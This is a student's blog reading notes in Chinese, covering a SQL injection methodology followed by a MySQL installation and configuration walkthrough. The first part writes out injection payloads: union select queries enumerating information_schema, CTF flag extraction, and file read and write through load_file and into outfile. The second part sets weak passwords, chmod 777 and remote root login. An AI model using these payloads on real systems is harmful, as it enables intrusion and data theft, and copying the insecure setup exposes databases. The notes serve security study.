第十四章讀書筆記
知識點歸納

問題和解決思路
SQL注入怎么實現?
基本流程
0)根據網站功能,猜測哪些地方可能存在注入(select insert注冊 update delete)
1) 判斷是否存在注入點;
and 1=1 考慮參數類型(閉合特殊符號,JSON)和提交方式post cookie
沒有回顯即盲注
2) 判斷字段長度;order by
3)判斷字段回顯位置;union select 1,2,3;--+ union select ‘a,’b’,’c’;--+(有時候會過濾數字)
盲注
4) 判斷數據庫信息;
不是MySQL高版本就直接上sqlmap
Mongdb 用kali 的NoSQLAttack
version()版本;database()數據庫;user()用戶;
操作系統信息:@@version_compile_os
and 1=2 union all select @@global.version_compile_os from mysql.user
數據庫權限:
and ord(mid(user(),1,1))=114 返回正常說明為root
5) 查找數據庫名,表名,列名;group_concat(字段/列名)
Mysql 5 以上有內置庫 information_schema,存儲著mysql的所有數據庫和表結構信息
Information_schema 下面有三張表:
information_schema.schemata 爆出所有數據庫名字
該表中的字段:
Schema_name 存儲了MySQL所有數據庫的名稱
union select 1, group_concat(schema_name) 3,4 from information_schema.schemata;
Information_schema.tables 爆出某個數據庫下的所有表的名字
該表中的字段:
table_schema標志當前表的數據庫名
Table_name 標志當前表的名稱
union select 1, group_concat(table_name) 3,4 from information_schema.tables where table_schema=database();
information_schema.columns 爆出某個數據庫某個表下所有字段的名字
該表中的字段:
column_name 標志當前字段的名字
Table_name 標志當前字段所屬表的名字
(跨庫)Table_schema 標志當前字段所屬表所屬的數據庫名字
union select 1,(select group_concat(column_name) from information_schema.columns where table_name='fl4g'),3,4#
union select 1,(select group_concat(column_name) from information_schema.columns where table_name='fl4g') and table_schema=’跨庫’,3,4#
6)在某個數據庫某個表中,查詢字段下面的數據
-1' union select 1,(select skctf_flag from fl4g),3,4#
-1' union select 1,skctf_flag,3,4 from fl4g;--+
7) 查找數據庫表中所有字段以及字段值;
8) 猜解賬號密碼;
9) 登陸管理員后臺。
10) 有權限 讀文件和寫文件 寫:secure_file_priv != NULL
讀文件: union select 絕對路徑 load_file(‘C:/flag.txt’); 查看網頁源代碼查看
寫入文件:union select into outfile(‘C:/1.php’);
實踐內容
mysql安裝
-
去官網下載安裝包
解壓文件
tar -zxvf mysql-8.0.11-linux-glibc2.12-i686.tar.gz -
移動壓縮包到usr/local目錄下,并重命名文件
mv /root/mysql-8.0.11-linux-glibc2.12-i686 /usr/local/mysql -
在MySQL根目錄下新建一個文件夾data,用于存放數據
mkdir data -
創建 mysql 用戶組和 mysql 用戶
groupadd mysql
useradd -g mysql mysql -
改變 mysql 目錄權限
chown -R mysql.mysql /usr/local/mysql/ -
初始化數據庫
創建mysql_install_db安裝文件
mkdir mysql_install_db
chmod 777 ./mysql_install_db
- 初始化
bin/mysqld --initialize --user=mysql --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data //初始化數據庫
記錄好自己的臨時密碼:twi=Tlsi<0O!
這里遇到了問題沒有libnuma.so.1
需要安裝 libnuma
yum install libnuma
yum -y install numactl
yum install libaio1 libaio-dev
- mysql配置
cp /usr/local/mysql/support-files/mysql.server /etc/init.d/mysqld
修改my.cnf文件
vim /etc/my.cnf
[mysqld]
basedir = /usr/local/mysql
datadir = /usr/local/mysql/data
socket = /usr/local/mysql/mysql.sock
character-set-server=utf8
port = 3306
sql_mode=NO_ENGINE_SUBSTITUTION,STRICT_TRANS_TABLES
[client]
socket = /usr/local/mysql/mysql.sock
default-character-set=utf8
-
建立MySQL服務
cp -a ./support-files/mysql.server /etc/init.d/mysqld
cp mysql.server /etc/init.d/mysql
chmod +x /etc/init.d/mysql -
添加到系統服務
chkconfig --add mysql
cp -a ./support-files/mysql.server /etc/init.d/mysqld
chmod +x /etc/rc.d/init.d/mysqld
chkconfig --add mysqld -
檢查服務是否生效
chkconfig --list mysqld -
配置全局環境變量
vim /etc/profile
export PATH=$PATH:/usr/local/mysql/bin:/usr/local/mysql/lib
source /etc/profile -
啟動MySQL服務
service mysql start
查看初始密碼
cat /root/.mysql_secret
- 登錄MySQL
mysql -uroot -p密碼
修改密碼:
SET PASSWORD FOR 'root'@localhost=PASSWORD('123456'); #對應的換成你自己的密碼即可了。
設置可以遠程登錄
mysql>use mysql
mysql>update user set host='%' where user='root' limit 1;
mysql>flush privileges;
然后檢查3306端口是否開放
netstat -nupl|grep 3306
開放3306端口
firewall -cmd --permanent --add-prot=3306/tcp
重啟防火墻
firewall -cmd --reload
數據庫操作
顯示數據庫、創建數據庫、刪除數據庫

使用數據庫,創建表,顯示表,描述表,刪除表

增刪改查,運行sql腳本


posted on 2022-11-17 08:18 20201321周慧琳 閱讀(21) 評論(0) 收藏 舉報
浙公網安備 33010602011771號